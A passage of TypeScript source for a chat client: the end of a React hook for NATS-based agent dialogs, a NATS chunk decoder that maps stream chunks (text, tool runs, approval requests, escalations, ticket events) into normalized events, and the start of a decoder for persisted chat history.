archiveDialog = useCallback(\n    async (id: string): Promise<void> => {\n      if (!archiveDialogCallback) return\n      try {\n        await archiveDialogCallback(id)\n        setDialogs((prev) => prev.filter((d) => d.id !== id))\n        if (isManagedMode && internalDialogId === id) {\n          setInternalDialogId(null)\n        }\n      } catch (err) {\n        console.error('[useNatsChatAdapter] archiveDialog failed:', err)\n      }\n    },\n    [archiveDialogCallback, internalDialogId, isManagedMode],\n  )\n\n  const loadMoreDialogs = useCallback(async (): Promise<void> => {\n    if (!dialogsNextCursor) return\n    await loadDialogsPage(dialogsNextCursor)\n  }, [dialogsNextCursor, loadDialogsPage])\n\n  const loadMoreMessages = useCallback(async (): Promise<void> => {\n    if (!dialogId || !messagesNextCursor) return\n    await loadDialogHistory(dialogId, messagesNextCursor)\n  }, [dialogId, messagesNextCursor, loadDialogHistory])\n\n  const approveRequest = useCallback(\n    async (requestId: string) => {\n      await handleApproveRef.current(requestId)\n    },\n    [],\n  )\n\n  const rejectRequest = useCallback(\n    async (requestId: string, reason?: string) => {\n      await handleRejectRef.current(requestId, reason)\n    },\n    [],\n  )\n\n  // \"Ask Mingo\" on an inline entity card. The agent transport has NO\n  // entity-id-filtered retrieval (its `ContextItemType` enum covers DEVICE /\n  // SCRIPT / TICKET / ORGANIZATION / USER / KB_ARTICLE / POLICY / QUERY /\n  // SCHEDULED_SCRIPT — no content types), so unlike the SSE path there is no\n  // `commandOverride.entityIdFilter` to send: the prompt carries the type + id\n  // as text and the agent resolves the row itself. Same sentence as guide mode\n  // (shared builder) so the affordance reads identically in both.\n  //\n  // This used to be a no-op, which made the card's \"Ask Mingo\" menu item dead\n  // in Mingo mode. Swap `includeReference` for a structured filter once the\n  // agent backend accepts one.\n  const discussRef = useCallback(\n    (reference: ChatRef) => {\n      const prompt = buildDiscussPrompt(reference, { includeReference: true })\n      // Menu-item click, so there is no composer promise for the rejection to\n      // surface through — a bare `void` would leave it unhandled. Logged in the\n      // same shape as `stopMessage`'s. NOTE: recovering the optimistic rows and\n      // the stuck `thinking` phase after a failed publish is a `sendMessage`\n      // concern (it affects composer sends identically) and is not done here.\n      void sendMessage(prompt).catch((err) => {\n        console.error('[useNatsChatAdapter] discussRef send failed:', err)\n      })\n    },\n    [sendMessage],\n  )\n  // Display stays a no-op: it dispatches a `/…  display \"<x>\"` slash command,\n  // and the agent transport has no slash-command registry.\n  const displayRef = useCallback((_ref: ChatRef) => {\n    /* no-op in Mingo mode */\n  }, [])\n\n  // ─── Return shape ─────────────────────────────────────────────────────────\n\n  const { messages, streamingPhase, dialogTokenUsage = null, liveModel = null } = state\n  const isLoading = streamingPhase !== 'idle'\n  const hasMoreDialogs = dialogsNextCursor != null\n  const hasMoreMessages = messagesNextCursor != null\n\n  return useMemo<UnifiedChatState>(\n    () => ({\n      messages,\n      isLoading,\n      streamingPhase,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      displayRef,\n      // Model badge + token usage for the composer's `<ModelDisplay>`.\n      // Model: live `metadata` frame → config baseline (host AI-config).\n      // Tokens: live `token_usage` frame / dialog snapshot (`dialogTokenUsage`).\n      // contextWindow uses the dialog's `contextSize` (the \"X / Y\" denominator,\n      // matching the /mingo page). cacheHitRate/breakdown are SSE-only → null.\n      currentProvider: liveModel?.provider ?? modelProvider ?? null,\n      currentModelLabel: liveModel?.modelLabel ?? modelLabel ?? null,\n      currentContextWindowMaxTokens:\n        dialogTokenUsage?.contextSize ?? liveModel?.contextWindowMaxTokens ?? null,\n      currentInputTokens: dialogTokenUsage?.inputTokensSize ?? null,\n      currentOutputTokens: dialogTokenUsage?.outputTokensSize ?? null,\n      currentCacheHitRatePct: null,\n      currentUsageBreakdown: null,\n      // Dialog management\n      dialogs,\n      activeDialogId: dialogId,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      isDialogsLoading: isDialogsLoading || isCreatingDialog,\n      dialogsError,\n      reloadDialogs,\n      isMessagesLoading,\n      hasMoreDialogs,\n      loadMoreDialogs,\n      hasMoreMessages,\n      loadMoreMessages,\n      // Approval mutations\n      approveRequest,\n      rejectRequest,\n      // Token usage\n      dialogTokenUsage,\n      // Connection state\n      connectionState,\n    }),\n    [\n      messages,\n      isLoading,\n      streamingPhase,\n      sendMessage,\n      stopMessage,\n      clearMessages,\n      discussRef,\n      displayRef,\n      dialogs,\n      dialogId,\n      selectDialog,\n      startNewDialog,\n      deleteDialog,\n      renameDialog,\n      archiveDialog,\n      isDialogsLoading,\n      dialogsError,\n      reloadDialogs,\n      isCreatingDialog,\n      isMessagesLoading,\n      hasMoreDialogs,\n      loadMoreDialogs,\n      hasMoreMessages,\n      loadMoreMessages,\n      approveRequest,\n      rejectRequest,\n      dialogTokenUsage,\n      liveModel,\n      modelProvider,\n      modelLabel,\n      connectionState,\n    ],\n  )\n}\n","/**\n * NATS chunk → normalized `ChatStreamEvent` decoder.\n *\n * THE live NATS reading path — the ONLY chunk parser in the codebase. Every\n * consumer (this lib's `useNatsChatAdapter`, the hub, the product app) feeds\n * raw chunks through `decodeNatsChunk` into `createChatStreamReducer`. The\n * legacy `components/chat/utils/chunk-parser.ts` (`parseChunkToAction`) that\n * this module superseded was DELETED — do not reintroduce a second decoder.\n *\n * Chunks map onto the transport-agnostic event union, with the JetStream\n * `streamSeq` lifted into the `seq` envelope (the reducer's idempotency gate\n * keys off it).\n *\n * Behavior is pinned by `__tests__/nats-decoder-golden.test.ts`.\n *\n * Server-safe: no React, no browser APIs.\n */\n\nimport { MESSAGE_TYPE } from '../components/chat/types/message.types'\nimport type { AskOptionData } from '../components/chat/types/message.types'\nimport { ESCALATION_STATE, GUIDE_ORIGIN, escalationResolvedStatus } from './events'\nimport type { ApprovalToolCall, ChatStreamEvent } from './events'\nimport { escapeThinkingTags, mapLeadingFrame } from './leading-frames'\n\n/** Minimal structural view of a NATS chunk (see `ChunkData` in\n *  `src/components/chat/types/network.types.ts`). */\ntype NatsChunk = Record<string, any>\n\n// `GUIDE_ORIGIN` moved to `./events`, beside the `GuideOrigin` type it is the\n// only value of — the SSE half reads it too, so it never belonged to the NATS\n// decoder. Re-exported here because that is the import path consumers know.\nexport { GUIDE_ORIGIN } from './events'\n\n/** Coerce the wire's `toolCalls[]` into the batch-approval shape, dropping\n *  non-object entries and defaulting every field. */\nfunction normalizeToolCalls(raw: unknown): ApprovalToolCall[] {\n  if (!Array.isArray(raw)) return []\n  return raw\n    .filter((item): item is Record<string, any> => !!item && typeof item === 'object')\n    .map((item) => ({\n      toolExecutionRequestId: String(item.toolExecutionRequestId ?? ''),\n      toolName: String(item.toolName ?? ''),\n      toolTitle: typeof item.toolTitle === 'string' ? item.toolTitle : undefined,\n      toolExplanation:\n        typeof item.toolExplanation === 'string' ? item.toolExplanation : undefined,\n      toolType: typeof item.toolType === 'string' ? item.toolType : undefined,\n      requiresApproval: item.requiresApproval === true,\n      approvalType: typeof item.approvalType === 'string' ? item.approvalType : null,\n      toolCallArguments:\n        item.toolCallArguments && typeof item.toolCallArguments === 'object'\n          ? (item.toolCallArguments as Record<string, any>)\n          : null,\n    }))\n}\n\n/** Coerce the wire's ask `options[]` into the card's row shape. Rows without a\n *  usable `label` are dropped: the label is what gets SENT when the row is\n *  picked, so a blank one would post an empty reply. */\nexport function normalizeAskOptions(raw: unknown): AskOptionData[] {\n  if (!Array.isArray(raw)) return []\n  return raw\n    .filter((item): item is Record<string, any> => !!item && typeof item === 'object')\n    .map((item) => ({\n      label: typeof item.label === 'string' ? item.label.trim() : '',\n      description: typeof item.description === 'string' ? item.description : undefined,\n    }))\n    .filter((option) => option.label.length > 0)\n}\n\n/**\n * Events whose meaning belongs to the AGENT's dialog rather than to the guide\n * turn embedded inside it. The hub emits its own copies of these, and the Mingo\n * dialog already has authoritative ones: letting the hub's through would\n * double-count the dialog's tokens or fight the agent's own phase chunks.\n *\n * Note this is a DENYLIST, and that is the point. `./leading-frames` is the ONE\n * place a hub frame kind is taught to the client; whatever it learns to emit —\n * including kinds that do not exist yet — must reach a Mingo dialog without a\n * second edit here. An allowlist would silently swallow every card the hub adds\n * next, and the guide half would quietly lag the guide chat.\n */\nconst AGENT_OWNED_EVENTS: ReadonlySet<ChatStreamEvent['type']> = new Set([\n  'usage',\n  'token-usage',\n  'status',\n  'compaction',\n  'participant',\n  'dialog-closed',\n])\n\n/** Event types that declare `origin` (see `GuideOrigin`). Data rather than a\n *  branch per type, so a future hub card opts in by adding the field to its\n *  interface and its name here — the pass-through below needs no edit. */\nconst ORIGIN_BEARING_EVENTS: ReadonlySet<ChatStreamEvent['type']> = new Set([\n  'approval-request',\n  'approval-resolved',\n])\n\n/**\n * Adapt ONE Product Guide event to the NATS kernel.\n *\n * The guide half of a Mingo dialog is the hub's own stream, so it is decoded by\n * the shared table in `./leading-frames` and then passed through here — the ONE\n * place that reconciles the two kernels. Both entry points use it: frames\n * re-streamed by the agent inside `GUIDE` chunks, and the SSE response of the\n * hub's confirm-tool route, which a host replays into the same dialog.\n *\n * Pass-through is the DEFAULT; only these rules alter an event, and each exists\n * because the two kernels genuinely disagree:\n *\n *   - `text-delta` becomes `guide-delta`: the body of a guide turn belongs\n *     inside the \"OpenFrame Guide\" card, and a `text` segment would strand part\n *     of the same answer outside it.\n *   - thinking is escaped HERE. The SSE kernel escapes `<` on the way in, the\n *     NATS kernel does not, and the guide's thinking is full of XML-ish tokens\n *     that would otherwise render as markup.\n *   - `metadata` survives ONLY to carry `conversationId`, which the hub mints\n *     and every confirm-tool call must quote back. Everything else on that\n *     frame (the hub's model, routing) is dropped: `applyNats` rebuilds the\n *     dialog's live model from a metadata event, so letting it through would\n *     relabel a Mingo turn with the hub's model, and a routing frame — which\n *     carries no model at all — would blank the badge mid-answer.\n *   - dialog-level events stop here (`AGENT_OWNED_EVENTS`).\n *\n * Everything else crosses over as the hub typed it, gaining only `origin`.\n * `approvalType` in particular stays the TOOL NAME, exactly as in the hub's own\n * chat: the NATS kernel gates approvals on approval TIER and escalates the rest,\n * which is an agent-side concept a hub proposal has no tier for. Rewriting the\n * tool name into a fake tier to slip past that gate would make the guide half of\n * the stream diverge from the guide chat itself.\n */\nexport function guideEventForNats(event: ChatStreamEvent): ChatStreamEvent | null {\n  switch (event.type) {\n    case 'text-delta':\n      return { type: 'guide-delta', text: event.text }\n    case 'thinking-delta':\n      return { type: 'thinking-delta', text: escapeThinkingTags(event.text) }\n    case 'metadata':\n      return typeof event.conversationId === 'string' && event.conversationId\n        ? { type: 'metadata', conversationId: event.conversationId, origin: GUIDE_ORIGIN }\n        : null\n    default:\n      if (AGENT_OWNED_EVENTS.has(event.type)) return null\n      return ORIGIN_BEARING_EVENTS.has(event.type)\n        ? ({ ...event, origin: GUIDE_ORIGIN } as ChatStreamEvent)\n        : event\n  }\n}\n\n/**\n * Decode one re-streamed Product Guide frame (a `GUIDE` chunk's `payload`) into\n * a NATS event. The frame grammar is decoded by the shared table, never by a\n * second copy here; the kernel reconciliation is `guideEventForNats`.\n */\nexport function guideFrameEvent(frame: Record<string, unknown>): ChatStreamEvent | null {\n  const events: ChatStreamEvent[] = []\n  // Every branch of the table pushes at most one event, so the first is the one.\n  mapLeadingFrame(frame, events)\n  const event = events[0]\n  return event ? guideEventForNats(event) : null\n}\n\n/**\n * Parse one raw NATS chunk into a normalized event. Returns `null` for\n * unknown/malformed chunks — an unrecognized `type`, a missing required\n * field, or a non-object payload are all tolerated as no-ops rather than\n * throwing, so a backend that adds a chunk type can't break the stream.\n */\nexport function decodeNatsChunk(chunk: unknown): ChatStreamEvent | null {\n  if (!chunk || typeof chunk !== 'object') return null\n\n  const data = chunk as NatsChunk\n  const type = String(data.type || '')\n  // JetStream stream sequence → the generic `seq` envelope.\n  const seq: { seq?: number } =\n    typeof data.streamSeq === 'number' ? { seq: data.streamSeq } : {}\n\n  switch (type) {\n    case MESSAGE_TYPE.MESSAGE_START:\n      return { type: 'turn-start', ...seq }\n\n    case MESSAGE_TYPE.MESSAGE_END:\n      return { type: 'turn-end', ...seq }\n\n    case MESSAGE_TYPE.AI_METADATA: {\n      const providerName = data.providerName || data.provider\n      if (typeof data.modelName === 'string' && typeof providerName === 'string') {\n        return {\n          type: 'metadata',\n          modelLabel: data.modelDisplayName,\n          modelName: data.modelName,\n          provider: providerName,\n          contextWindowMaxTokens:\n            typeof data.contextWindow === 'number' ? data.contextWindow : 0,\n          ...seq,\n        }\n      }\n      return null\n    }\n\n    case MESSAGE_TYPE.TEXT:\n      if (typeof data.text === 'string') {\n        return { type: 'text-delta', text: data.text, ...seq }\n      }\n      return null\n\n    case MESSAGE_TYPE.THINKING:\n      if (typeof data.text === 'string') {\n        return { type: 'thinking-delta', text: data.text, ...seq }\n      }\n      return null\n\n    // Two shapes share this chunk type. `text` is the answer body the agent\n    // streams (and persists). `payload` is a Product Guide frame re-streamed\n    // verbatim from the hub — decoded through the shared frame table, with the\n    // narrowing `guideFrameEvent` documents.\n    case MESSAGE_TYPE.GUIDE: {\n      if (typeof data.text === 'string') {\n        return { type: 'guide-delta', text: data.text, ...seq }\n      }\n      const frame = data.payload\n      if (!frame || typeof frame !== 'object' || Array.isArray(frame)) return null\n      const event = guideFrameEvent(frame as Record<string, unknown>)\n      if (!event) return null\n      return { ...event, ...seq }\n    }\n\n    // An ask card is only an ask card with something to pick: a question and at\n    // least one option. Anything less is dropped rather than rendered as an\n    // empty card the user can't answer — the backend already falls back to a\n    // complete hardcoded card when the model returns a partial one.\n    case MESSAGE_TYPE.ASK: {\n      const question = typeof data.question === 'string' ? data.question.trim() : ''\n      const options = normalizeAskOptions(data.options)\n      if (!question || options.length === 0) return null\n      return {\n        type: 'ask',\n        ...(typeof data.text === 'string' && data.text ? { text: data.text } : {}),\n        question,\n        options,\n        ...seq,\n      }\n    }\n\n    case MESSAGE_TYPE.EXECUTING_TOOL:\n      return {\n        type: 'tool-execution',\n        data: {\n          type: 'EXECUTING_TOOL',\n          integratedToolType: data.integratedToolType || '',\n          toolFunction: data.toolFunction || '',\n          toolTitle: typeof data.title === 'string' ? data.title : undefined,\n          // The human-readable \"why this tool is running\" line rendered inside\n          // the tool card. It rides ONLY the EXECUTING chunk — the EXECUTED one\n          // never carries it, and the accumulator's merge preserves whatever\n          // the EXECUTING segment held. Dropping it here therefore blanks the\n          // card for the whole lifetime of the run.\n          toolExplanation: typeof data.toolExplanation === 'string' ? data.toolExplanation : undefined,\n          parameters: data.parameters,\n          toolExecutionRequestId:\n            typeof data.toolExecutionRequestId === 'string'\n              ? data.toolExecutionRequestId\n              : undefined,\n        },\n        ...seq,\n      }\n\n    case MESSAGE_TYPE.EXECUTED_TOOL:\n      return {\n        type: 'tool-execution',\n        data: {\n          type: 'EXECUTED_TOOL',\n          integratedToolType: data.integratedToolType || '',\n          toolFunction: data.toolFunction || '',\n          toolTitle: typeof data.title === 'string' ? data.title : undefined,\n          parameters: data.parameters,\n          result: data.result,\n          success: data.success,\n          toolExecutionRequestId:\n            typeof data.toolExecutionRequestId === 'string'\n              ? data.toolExecutionRequestId\n              : undefined,\n        },\n        ...seq,\n      }\n\n    case MESSAGE_TYPE.APPROVAL_REQUEST: {\n      const requestId = data.approvalRequestId || data.approval_request_id || ''\n      const approvalType = data.approvalType || 'USER'\n      const toolCalls = normalizeToolCalls(data.toolCalls)\n\n      if (toolCalls.length > 0) {\n        return { type: 'approval-request', requestId, approvalType, toolCalls, ...seq }\n      }\n\n      return {\n        type: 'approval-request',\n        requestId,\n        approvalType,\n        command: data.command || '',\n        explanation: data.explanation,\n        ...seq,\n      }\n    }\n\n    case MESSAGE_TYPE.APPROVAL_RESULT: {\n      // Realtime chunks carry the resolver's name as `displayName`; the\n      // persisted GraphQL message exposes the same value as\n      // `resolvedByName`. Accept either so realtime and history-replay\n      // render \"by {name}\" identically.\n      const resolvedByName =\n        typeof data.resolvedByName === 'string'\n          ? data.resolvedByName\n          : typeof data.displayName === 'string'\n            ? data.displayName\n            : undefined\n      return {\n        type: 'approval-resolved',\n        requestId: data.approvalRequestId || data.approval_request_id || '',\n        status: data.approved === true ? 'approved' : 'rejected',\n        approvalType: data.approvalType || 'CLIENT',\n        resolvedByName,\n        ...seq,\n      }\n    }\n\n    case MESSAGE_TYPE.ESCALATION_OFFER: {\n      const offerId = typeof data.offerId === 'string' ? data.offerId : ''\n      if (!offerId) return null\n      if (data.state === ESCALATION_STATE.PENDING) {\n        return {\n          type: 'escalation-offer',\n          offerId,\n          text: typeof data.text === 'string' ? data.text : '',\n          origin: typeof data.origin === 'string' ? data.origin : undefined,\n          ...seq,\n        }\n      }\n      const status = escalationResolvedStatus(data.state)\n      if (!status) return null\n      // Same realtime/history field split as APPROVAL_RESULT: the chunk names\n      // the resolver `displayName`, the persisted row `resolvedByName`.\n      return {\n        type: 'escalation-offer-resolved',\n        offerId,\n        status,\n        resolvedByName:\n          typeof data.resolvedByName === 'string'\n            ? data.resolvedByName\n            : typeof data.displayName === 'string'\n              ? data.displayName\n              : undefined,\n        ...seq,\n      }\n    }\n\n    case MESSAGE_TYPE.TICKET_ESCALATED: {\n      const ticketId = typeof data.ticketId === 'string' ? data.ticketId : ''\n      const reason = typeof data.reason === 'string' ? data.reason : ''\n      // Both are non-null on the wire; a payload missing either is malformed\n      // rather than a variant to render.\n      if (!ticketId || !reason) return null\n      return {\n        type: 'ticket-escalated',\n        ticketId,\n        reason,\n        ticketNumber: typeof data.ticketNumber === 'number' ? data.ticketNumber : undefined,\n        text: typeof data.text === 'string' ? data.text : undefined,\n        ...seq,\n      }\n    }\n\n    case MESSAGE_TYPE.TICKET_EVENT: {\n      // `kind` is the only required field, and deliberately an OPEN string:\n      // unknown kinds must render (as a neutral line), not be dropped.\n      const kind = typeof data.kind === 'string' ? data.kind.trim() : ''\n      if (!kind) return null\n      // This chunk names its own JetStream sequence `sequenceId` in the\n      // payload (the persisted row's `lastChunkStreamSeq` equals it — the\n      // dedupe key). Prefer the transport-stamped `streamSeq` envelope like\n      // every other chunk; fall back to the payload copy when absent.\n      const eventSeq: { seq?: number } =\n        seq.seq !== undefined\n          ? seq\n          : typeof data.sequenceId === 'number'\n            ? { seq: data.sequenceId }\n            : {}\n      return {\n        type: 'ticket-event',\n        kind,\n        actorId: typeof data.actorId === 'string' ? data.actorId : undefined,\n        actorName: typeof data.actorName === 'string' ? data.actorName : undefined,\n        actorType: typeof data.actorType === 'string' ? data.actorType : undefined,\n        reason:\n          typeof data.reason === 'string' && data.reason.trim() ? data.reason : undefined,\n        targetStatusKind:\n          typeof data.targetStatusKind === 'string' && data.targetStatusKind.trim()\n            ? data.targetStatusKind\n            : undefined,\n        ...eventSeq,\n      }\n    }\n\n    case MESSAGE_TYPE.ERROR:\n      return {\n        type: 'error',\n        title: data.error || 'An error occurred',\n        details: data.details,\n        ...seq,\n      }\n\n    case MESSAGE_TYPE.MESSAGE_REQUEST:\n      return {\n        type: 'participant',\n        kind: 'message-request',\n        text: String(data.text || ''),\n        ownerType: typeof data.ownerType === 'string' ? data.ownerType : undefined,\n        displayName: typeof data.displayName === 'string' ? data.displayName : undefined,\n        userId: typeof data.userId === 'string' ? data.userId : undefined,\n        // Wire shape carries no label; fall back to the id (parity with\n        // the history path in `process-historical-messages.ts`).\n        contextItems: Array.isArray(data.contextItems)\n          ? (data.contextItems as Array<{ type?: unknown; id?: unknown }>)\n              .filter((it) => typeof it?.type === 'string' && typeof it?.id === 'string')\n              .map((it) => ({\n                type: it.type as string,\n                id: it.id as string,\n                label: it.id as string,\n              }))\n          : undefined,\n        ...seq,\n      }\n\n    case MESSAGE_TYPE.TOKEN_USAGE:\n      return {\n        type: 'token-usage',\n        inputTokensSize: data.inputTokensSize ?? 0,\n        outputTokensSize: data.outputTokensSize ?? 0,\n        totalTokensSize: data.totalTokensSize ?? 0,\n        contextSize: data.contextSize ?? 0,\n        ...seq,\n      }\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_START:\n      return { type: 'compaction', phase: 'start', ...seq }\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_END:\n      return {\n        type: 'compaction',\n        phase: 'end',\n        summary: typeof data.text === 'string' ? data.text : undefined,\n        ...seq,\n      }\n\n    case MESSAGE_TYPE.SYSTEM:\n      if (typeof data.text === 'string') {\n        return { type: 'participant', kind: 'system', text: data.text, ...seq }\n      }\n      return null\n\n    case MESSAGE_TYPE.DIRECT_MESSAGE:\n      if (typeof data.text === 'string') {\n        return {\n          type: 'participant',\n          kind: 'direct-message',\n          text: data.text,\n          ownerType: typeof data.ownerType === 'string' ? data.ownerType : undefined,\n          displayName:\n            typeof data.displayName === 'string' ? data.displayName : undefined,\n          userId: typeof data.userId === 'string' ? data.userId : undefined,\n          ...seq,\n        }\n      }\n      return null\n\n    case MESSAGE_TYPE.DIALOG_CLOSED:\n      return { type: 'dialog-closed', ...seq }\n\n    default:\n      return null\n  }\n}\n","/**\n * Utility for processing historical messages from GraphQL/API into\n * display-ready format.\n *\n * Phase 3 of the chat unification reduced this file to DECODE + ENVELOPE:\n *\n *   - `decodeHistoricalMessageData` maps one persisted `MessageData` item\n *     into the shared `ChatStreamEvent` vocabulary (historical items share\n *     the MESSAGE_TYPE vocabulary with NATS chunks but are NOT full chunk\n *     envelopes — e.g. compaction summaries ride in `summary`, not `text`,\n *     and APPROVAL_RESULT rows carry `resolvedByName` directly);\n *   - `applyHistoryEvent` replays each decoded event into the shared\n *     per-turn kernel (`MessageSegmentAccumulator` — the same kernel the\n *     master `createChatStreamReducer` instantiates) with the\n *     history-specific approval semantics (display-all default, pending\n *     tracking + `flushPendingApprovals`, `approvalStatuses` overrides);\n *   - the ENVELOPE (user/assistant flush-grouping, OWNER_TYPE author /\n *     display-name / avatar resolution, standalone SYSTEM handling,\n *     per-message contextItems mapping, per-turn streamSeq MAX) lives ONCE\n *     in `processHistory` — the previous near-duplicate second copy was\n *     deleted (`processHistoricalMessagesWithErrors` is an alias; the two\n *     snapshots were byte-identical).\n *\n * Adapters then feed the processed rows into the reducer via\n * `initializeWithState` (see `useNatsChatAdapter.loadDialogHistory`).\n */\n\nimport {\n  MESSAGE_TYPE,\n  OWNER_TYPE,\n  type AuthorType,\n  type ChatApprovalStatus,\n  type HistoricalMessage,\n  type PendingToolCallData,\n  type ProcessedMessage,\n  type MessageProcessingOptions,\n  type MessageData,\n  type MessageOwner,\n} from '../types'\nimport { ESCALATION_STATE, escalationResolvedStatus, type ChatStreamEvent } from '../../../chat-protocol/events'\n// One normalizer for ask rows, shared with the live decoder — history and the\n// stream must agree on which options are usable.\nimport { guideFrameEvent, normalizeAskOptions } from '../../../chat-protocol/nats-decoder'\nimport { approvalDisplaysInline, guideApprovalOrigin } from './approval-display'\nimport { MessageSegmentAccumulator, createMessageSegmentAccumulator } from './message-segment-accumulator'\nimport { applyApprovalStatusToSegment } from '../stream/message-mutations'\nimport { getCommandText } from './tool-call-helpers'\n\nfunction getOwnerDisplayName(owner?: MessageOwner): string {\n  if (owner?.type === OWNER_TYPE.ADMIN && owner.user) {\n    const { firstName, lastName } = owner.user\n    const name = [firstName, lastName].filter(Boolean).join(' ')\n    if (name) return name\n  }\n  return owner?.type === OWNER_TYPE.ADMIN ? 'Admin' : 'You'\n}\n\n/** Per-message author avatar (e.g. an admin's profile photo) when the owner\n *  carries one. `imageUrl` may be relative; the host resolves it downstream. */\nfunction getOwnerAvatar(owner?: MessageOwner): string | undefined {\n  return owner?.user?.image?.imageUrl ?? undefined\n}\n\nfunction pushStandaloneMessages(\n  processedMessages: ProcessedMessage[],\n  msg: HistoricalMessage,\n  messageDataArray: MessageData[],\n): void {\n  messageDataArray.forEach((data) => {\n    if (data.type === MESSAGE_TYPE.SYSTEM && 'text' in data && data.text) {\n      processedMessages.push({\n        id: msg.id,\n        role: 'user',\n        content: '',\n        name: data.text,\n        authorType: 'system',\n        timestamp: new Date(msg.createdAt),\n        ...(typeof msg.lastChunkStreamSeq === 'number' ? { streamSeq: msg.lastChunkStreamSeq } : {}),\n      })\n    }\n  })\n}\n\n// =============================================================================\n// Decode — persisted MessageData item → shared ChatStreamEvent vocabulary\n// =============================================================================\n\n/**\n * Map one persisted `MessageData` item to a normalized `ChatStreamEvent`.\n * Thin shim over the NATS chunk decoder's core mapping — the differences\n * are exactly the persisted-row divergences from the realtime envelope:\n *\n *   - compaction summaries arrive in `summary` (realtime: `text`);\n *   - APPROVAL_RESULT rows carry `resolvedByName` (realtime chunks carry\n *     the resolver's name as `displayName`);\n *   - `approvalType` defaults to 'CLIENT' (legacy history parity;\n *     realtime defaults APPROVAL_REQUEST to 'USER');\n *   - batch `toolCalls` pass through verbatim (already the persisted\n *     `PendingToolCallData` shape — no normalization pass).\n *\n * Returns `null` for rows the assistant-turn path doesn't decode (SYSTEM\n * is handled by the envelope's standalone path; user TEXT rows are handled\n * by the envelope's user path).\n */\nexport function decodeHistoricalMessageData(data: MessageData): ChatStreamEvent | null {\n  switch (data.type) {\n    case MESSAGE_TYPE.TEXT:\n      if ('text' in data && data.text) {\n        return { type: 'text-delta', text: data.text }\n      }\n      return null\n\n    case MESSAGE_TYPE.THINKING:\n      if ('text' in data && data.text) {\n        return { type: 'thinking-delta', text: data.text }\n      }\n      return null\n\n    // Two persisted shapes, mirroring the live `GUIDE` chunk: the answer body\n    // (`text`) and a Product Guide frame the agent re-streamed (`payload`,\n    // persisted so a card survives a reload). Decoded through the SAME\n    // `guideFrameEvent` the live path uses — a second mapping here would let\n    // history and realtime disagree about the same bytes.\n    case MESSAGE_TYPE.GUIDE: {\n      if ('text' in data && data.text) {\n        return { type: 'guide-delta', text: data.text }\n      }\n      const payload = 'payload' in data ? data.payload : undefined\n      if (payload && typeof payload === 'object' && !Array.isArray(payload)) {\n        return guideFrameEvent(payload as Record<string, unknown>)\n      }\n      return null\n    }\n\n    // Same completeness gate as the live decoder (`decodeNatsChunk`): a\n    // persisted row without a question or without options is not a card the\n    // user can answer, so it replays as nothing rather than as empty chrome.\n    case MESSAGE_TYPE.ASK: {\n      if (!('question' in data)) return null\n      const question = typeof data.question === 'string' ? data.question.trim() : ''\n      const options = normalizeAskOptions(data.options)\n      if (!question || options.length === 0) return null\n      return {\n        type: 'ask',\n        ...(data.text ? { text: data.text } : {}),\n        question,\n        options,\n      }\n    }\n\n    case MESSAGE_TYPE.EXECUTING_TOOL:\n      if ('integratedToolType' in data) {\n        return {\n          type: 'tool-execution',\n          data: {\n            type: 'EXECUTING_TOOL',\n            integratedToolType: data.integratedToolType || '',\n            toolFunction: data.toolFunction || '',\n            toolTitle: typeof data.title === 'string' ? data.title : undefined,\n            // Same contract as the NATS decoder: the explanation line rides the\n            // EXECUTING chunk only, so a history replay that drops it renders\n            // an empty tool card even though the live stream showed one.\n            toolExplanation: typeof data.toolExplanation === 'string' ? data.toolExplanation : undefined,\n            parameters: data.parameters,\n            toolExecutionRequestId: data.toolExecutionRequestId,\n          },\n        }\n      }\n      return null\n\n    case MESSAGE_TYPE.EXECUTED_TOOL:\n      if ('integratedToolType' in data) {\n        return {\n          type: 'tool-execution',\n          data: {\n            type: 'EXECUTED_TOOL',\n            integratedToolType: data.integratedToolType || '',\n            toolFunction: data.toolFunction || '',\n            toolTitle: typeof data.title === 'string' ? data.title : undefined,\n            parameters: data.parameters,\n            result: data.result,\n            success: data.success,\n            toolExecutionRequestId: data.toolExecutionRequestId,\n          },\n        }\n      }\n      return null\n\n    case MESSAGE_TYPE.APPROVAL_REQUEST:\n      if ('approvalRequestId' in data && data.approvalRequestId) {\n        return {\n          type: 'approval-request',\n          requestId: data.approvalRequestId,\n          approvalType: data.approvalType || 'CLIENT',\n          command: data.command || '',\n          explanation: data.explanation,\n          ...(Array.isArray(data.toolCalls) ? { toolCalls: data.toolCalls } : {}),\n        }\n      }\n      return null\n\n    case MESSAGE_TYPE.APPROVAL_RESULT:\n      if ('approvalRequestId' in data && data.approvalRequestId) {\n        return {\n          type: 'approval-resolved',\n          requestId: data.approvalRequestId,\n          status: data.approved ? 'approved' : 'rejected',\n          approvalType: data.approvalType,\n          resolvedByName: 'resolvedByName' in data ? data.resolvedByName : undefined,\n        }\n      }\n      return null\n\n    case MESSAGE_TYPE.ESCALATION_OFFER: {\n      if (!('offerId' in data) || !data.offerId) return null\n      if (data.state === ESCALATION_STATE.PENDING) {\n        return {\n          type: 'escalation-offer',\n          offerId: data.offerId,\n          text: data.text || '',\n          origin: data.origin,\n        }\n      }\n      const status = escalationResolvedStatus(data.state)\n      if (!status) return null\n      return {\n        type: 'escalation-offer-resolved',\n        offerId: data.offerId,\n        status,\n        resolvedByName: data.resolvedByName,\n      }\n    }\n\n    case MESSAGE_TYPE.TICKET_ESCALATED:\n      if ('ticketId' in data && data.ticketId && data.reason) {\n        return {\n          type: 'ticket-escalated',\n          ticketId: data.ticketId,\n          reason: data.reason,\n          ticketNumber: data.ticketNumber,\n          text: data.text,\n        }\n      }\n      return null\n\n    // Same completeness gate as the live decoder: `kind` (an OPEN string —\n    // unknown kinds render as a neutral line) is the only required field.\n    // Field names match the chunk, so ONE mapping covers both paths; the\n    // typeof gates also fold the row's GraphQL nulls to undefined.\n    case MESSAGE_TYPE.TICKET_EVENT: {\n      const kind = 'kind' in data && typeof data.kind === 'string' ? data.kind.trim() : ''\n      if (!kind) return null\n      return {\n        type: 'ticket-event',\n        kind,\n        actorId: typeof data.actorId === 'string' ? data.actorId : undefined,\n        actorName: typeof data.actorName === 'string' ? data.actorName : undefined,\n        actorType: typeof data.actorType === 'string' ? data.actorType : undefined,\n        reason: typeof data.reason === 'string' && data.reason.trim() ? data.reason : undefined,\n        targetStatusKind:\n          typeof data.targetStatusKind === 'string' && data.targetStatusKind.trim()\n            ? data.targetStatusKind\n            : 